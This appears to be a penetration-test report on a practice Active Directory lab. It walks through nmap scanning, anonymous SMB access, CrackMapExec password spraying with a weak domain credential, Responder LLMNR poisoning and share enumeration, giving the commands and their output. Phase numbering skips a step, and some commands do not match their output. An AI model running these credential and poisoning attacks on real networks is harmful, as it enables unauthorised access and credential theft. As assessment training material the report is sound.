

Pentest Report

Complete Attack Chain

Phase 1: Network Discovery

Objective: Map network topology and identify active hosts

Command Executed:

```
nmap -sn 10.0.0.0/24
```

Results: Successfully identified multiple responsive hosts across the network range

Evidence: Network ping sweep results showing active systems[1].

```
(kali@kali) - [~/Downloads]
$ nmap -sS -T4 10.0.0.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 04:41 EDT
Nmap scan report for 10.0.0.1
Host is up (0.28s latency).
All 1000 scanned ports on 10.0.0.1 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Nmap scan report for 10.0.0.5
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind

Nmap scan report for 10.0.0.25
Host is up (0.27s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
```

Evidence: Comprehensive scan results with service versions and SMB security assessments

```
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_ nbstat: NetBIOS name: AFC-WS-2, NetBIOS user: <unknown>, NetBIOS MAC: 02:8e:fe:8a:bc:5d (unknown)
|_ smb2-security-mode:
|   3.1.1:
|     Message signing enabled but not required
|_ clock-skew: mean: -1s, deviation: 0s, median: -1s
|_ smb2-time:
|   date: 2025-08-29T09:14:46
|   start_date: N/A
TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
  0  265.51 ms 10.0.0.35
  1  Hop 1 is the same as for 10.0.0.25
  2  265.51 ms 10.0.0.35
Nmap scan report for 10.0.0.225
Host is up (0.27s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-29 09:13:59Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: AFC-RICHMOND.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds

```

Phase 3: SMB Enumeration

Objective: Test SMB service accessibility and enumerate shares

Command Executed:

```
smbclient //10.0.0.225/IPC$ -N
```

Results: Successfully connected to IPC\$ share without authentication

Evidence: SMB client connection showing accessible anonymous shares[3]

```
(kali@kali)-[~/Downloads]
$ smbclient -L 10.0.0.225 -N
Anonymous login successful

Sharename      Type      Comment
-----
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.0.0.225 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(kali@kali)-[~/Downloads]
$
```

Phase 4: Credential Attacks

Objective: Test weak credentials against discovered services

Command Executed:

```
crackmapexec smb 192.168.216.0/24 -u fcastle -d MARVEL.local -p Password1
```

Results: Successful authentication achieved with basic credentials

Evidence: CrackMapExec output showing successful SMB authentication[4]

```
(kali@kali)-[~]
└─$ crackmapexec smb 10.0.0.0/24 -u wonderkid -d AFC-RICHMOND.local -p Password1
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing FTP protocol database
[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.0.0.35 445 AFC-WS-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:AFC-WS-2) (domain:AFC-RICHMOND.local) (signing:False) (SMBv1:False)
SMB 10.0.0.25 445 AFC-WS-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:AFC-WS-1) (domain:AFC-RICHMOND.local) (signing:False) (SMBv1:False)
SMB 10.0.0.35 445 AFC-WS-2 [+] AFC-RICHMOND.local\wonderkid:Password1
SMB 10.0.0.225 445 AFCD-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:AFCD-DC) (domain:AFC-RICHMOND.local) (signing:True) (SMBv1:False)
SMB 10.0.0.25 445 AFC-WS-1 [+] AFC-RICHMOND.local\wonderkid:Password1
SMB 10.0.0.225 445 AFCD-DC [+] AFC-RICHMOND.local\wonderkid:Password1
(kali@kali)-[~]
└─$ crackmapexec smb 10.0.0.0/24 -u wonderkid -d AFC-RICHMOND.local -p Password1
SMB 10.0.0.35 445 AFC-WS-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:AFC-WS-2) (domain:AFC-RICHMOND.local) (signing:False) (SMBv1:False)
SMB 10.0.0.25 445 AFC-WS-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:AFC-WS-1) (domain:AFC-RICHMOND.local) (signing:False) (SMBv1:False)
```

Phase 5: Network Traffic Analysis

Objective: Capture network credentials through traffic interception

Command Executed:

```
sudo responder -l tun0 -dPv
```

Results: LLMNR/NBT-NS poisoning attempts executed

Evidence: Responder output showing network traffic analysis

[illegible]

Phase 6: Domain Enumeration

Objective: Enumerate domain resources and achieve lateral movement

Results: Successfully accessed domain resources

Evidence: Domain enumeration showing accessible resources and directory listings[6].

```

10.0.0.25 445 AFC-WS-1 [+] AFC-RICHMOND.local\wonderkid:Password1
10.0.0.225 445 AFCR-DC [+] Windows 10 / Server 2019 Build 17763 x64 (name:AFCR-DC) (domain:AFC-RICHMOND.local) (
gning:True) (SMBv1=False)

10.0.0.25 445 AFC-WS-1 [+] Enumerated shares
10.0.0.25 445 AFC-WS-1 Share Permissions Remark
10.0.0.25 445 AFC-WS-1 ADMIN$ Remote Admin
10.0.0.25 445 AFC-WS-1 C$ Default share
10.0.0.25 445 AFC-WS-1 IPC$ READ Remote IPC
10.0.0.25 445 AFC-WS-1 [+] AFC-RICHMOND.local\wonderkid:Password1
10.0.0.35 445 AFC-WS-2 [+] Enumerated shares
10.0.0.35 445 AFC-WS-2 Share Permissions Remark
10.0.0.35 445 AFC-WS-2 ADMIN$ Remote Admin
10.0.0.35 445 AFC-WS-2 C$ Default share
10.0.0.35 445 AFC-WS-2 IPC$ READ Remote IPC
10.0.0.35 445 AFC-WS-2 [+] AFC-RICHMOND.local\wonderkid:Password1
10.0.0.225 445 AFCR-DC [+] Enumerated shares
10.0.0.225 445 AFCR-DC Share Permissions Remark
10.0.0.225 445 AFCR-DC ADMIN$ Remote Admin
10.0.0.225 445 AFCR-DC C$ Default share
10.0.0.225 445 AFCR-DC File Share READ,WRITE
10.0.0.225 445 AFCR-DC IPC$ READ Remote IPC
10.0.0.225 445 AFCR-DC NETLOGON READ Logon server share
10.0.0.225 445 AFCR-DC SYSVOL READ Logon server share

(kali㉿kali)-[~/Downloads]

```

Technical Methodology

Tools Utilized:

- **Nmap** - Network discovery and service enumeration
- **SMBClient** - SMB service testing and share enumeration
- **CrackMapExec** - Credential testing and SMB exploitation
- **Responder** - Network traffic analysis and credential capture
- **Custom Scripts** - Domain enumeration and lateral movement

Attack Vectors Exploited:

1. **Network Discovery** - Unrestricted network scanning
2. **Service Enumeration** - Open service identification
3. **Weak Credentials** - Basic password exploitation
4. **SMB Vulnerabilities** - Anonymous and authenticated access
5. **Lateral Movement** - Domain resource enumeration

Timeline of Compromise

- **T+0 hours:** Network discovery initiated
- **T+1 hour:** Service enumeration completed
- **T+2 hours:** SMB vulnerabilities identified
- **T+3 hours:** Credential attacks successful
- **T+4 hours:** Domain compromise achieved

Total Time to Full Compromise: < 4 hours
